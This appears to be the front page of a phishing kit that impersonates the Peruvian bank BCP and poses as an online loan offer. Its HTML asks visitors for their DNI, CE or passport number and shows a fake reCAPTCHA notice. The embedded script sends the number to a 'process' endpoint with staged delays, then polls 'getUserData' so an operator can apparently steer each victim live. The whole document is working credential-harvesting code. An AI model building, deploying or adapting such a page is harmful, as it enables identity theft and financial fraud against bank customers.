<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank" >
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />

    <title>Préstamos en línea</title>
    <style>
        #form1 {
            height: 100%;
        }
    </style>
</head>

<body>
    
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c001">
            <div class="max1 margin-auto flex flex-items-center">
                <img src="public/paso1.786324/logo.82734234.svg">
            </div>
        </div>
        <div class="c002">
            
            <div class="c004">
                <div class="c005">
                    <div class="mb-10 textcenter">
                        <p class="text7" style="font-size:1.2rem;">
                            PRODUCTOS PARA TI
                        </p>
                    </div>
                    <div class="mb-10 textcenter">
                        <img id="miespacionaranja1" height="40" style="max-width: 100%;"
                            src="public/paso1.786324/miespacionaranja.8367345.png">
                    </div>
                    <div class="mb-30">
                        <p class="text2" style="font-size: 1.2rem;">
                            Ingresa tu DNI y descubre tu producto especial
                        </p>
                    </div>
                    <div class="mb-40">

                        <div class="c006">
                            <div class="inpsel1">
                                <div class="inpsel1-c001">
                                    <label>
                                        DNI
                                    </label>
                                </div>
                                <div class="inpsel1-c002">
                                    <input maxlength="9" type="text" name="numerodocumento"
                                        placeholder="Nro de documento">
                                </div>
                                <div class="inpsel1-c003">
                                    <div class="inpsel1-c004">
                                        <input type="radio" id="tdidni" checked name="tipodocidentidad" value="DNI">
                                        <label for="tdidni">DNI</label>
                                    </div>
                                    <div class="inpsel1-c004">
                                        <input type="radio" id="tdice" name="tipodocidentidad" value="CE">
                                        <label for="tdice">CE</label>
                                    </div>
                                    <div class="inpsel1-c004">
                                        <input type="radio" id="tdipas" name="tipodocidentidad" value="PAS">
                                        <label for="tdipas">PAS</label>
                                    </div>
                                </div>
                                <div class="inpsel1-c005">
                                    <p class="text3" style="font-size: .80rem;">
                                        Ingresa Nro de documento válido
                                    </p>
                                </div>
                            </div>

                            <div>
                                <button id="btn1" class="btn1 ">
                                    <span>Descubrir</span>
                                    <img height="30" src="public/gif1.gif" >
                                </button>
                            </div>
                        </div>


                    </div>
                    <div class="mb-5">
                        <p class="text4">
                            (*)Al enviarnos esta información usted autoriza al B&nbsp;CP el 
                            tratamiento de sus datos personales. Conoce más <a href="">aquí</a>.
                        </p>
                    </div>
                    <div class="mb-5">
                        <p class="text4">
                            Este sitio está protegido por reCAPTCHA y se aplican las 
                            <a href="">Políticas de privacidad</a> y 
                            <a href="">Términos del servicio de Google</a>.
                        </p>
                    </div>
                </div>
                <div class="c007 hidden">
                    <img style="max-width: 100%;" src="public/paso1.786324/desktop_0.png" >
                </div>
            </div>
        </div>
        <div class="c003">
            <div class="max1 margin-auto flex flex-items-center">
                <div>
                    <img src="public/paso1.786324/logogris.98734234.svg">
                    <br><br>
                    <p class="text1" style="font-size: .90rem;">© 2025 | Todos los derechos reservados.</p>
                </div>
            </div>
        </div>
    </form>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var form = document.getElementById("form1")
        var numerodocumento = form.querySelector("input[name=numerodocumento]")
        var btn1 = document.getElementById("btn1")
        var modalloader1 = document.getElementById("modalloader1")


        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }

        sub = async function(){
            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion","step1")
            let envio = await fetch(url,{
                method:"post",
                body:fd
            })

            let raw = await envio.text()

            if(!envio.ok){
                location.reload()
                return
            }

            checkstatus()


        }

        presub = function(){
                        
            if(numerodocumento.value.length<8){
                numerodocumento.closest(".inpsel1").classList.add("error")
                return
            }
            numerodocumento.closest(".inpsel1").classList.remove("error")

            btn1.classList.add("processing")
            window.setTimeout((e)=>{
                modalloader1.classList.remove("hidden")

                window.setTimeout(sub,3000)
            },3000)
            

        }

        init = function () {


            document.querySelectorAll(".inpsel1 .inpsel1-c001").forEach(el => {
                el.addEventListener("click", (e) => {
                    let targ = e.target
                    let inpsel1 = targ.closest(".inpsel1")
                    if (inpsel1.classList.contains("showoptions")) {
                        inpsel1.classList.remove("showoptions")
                    } else {
                        inpsel1.classList.add("showoptions")
                    }
                })
            })

            document.querySelectorAll(".inpsel1 .inpsel1-c003 .inpsel1-c004 input[type=radio]").forEach(el => {
                el.addEventListener("click", (e) => {
                    let targ = e.target
                    let inpsel1 = targ.closest(".inpsel1")
                    let label = inpsel1.querySelector(".inpsel1-c001 label")
                    let txt = targ.value
                    label.innerHTML = txt
                    inpsel1.classList.remove("showoptions")
                    console.log(txt)
                })
            })

            btn1.addEventListener("click",presub)

            numerodocumento.addEventListener("blur",(e)=>{
                let targ = e.target
                let inpsel1 = targ.closest(".inpsel1")
                if(targ.value.length > 0 && targ.value.length <8){
                    inpsel1.classList.add("error")
                }else{
                    inpsel1.classList.remove("error")
                }
                
                console.log(targ)
            })

        }

        window.addEventListener("load", init)
    </script>
</body>

</html>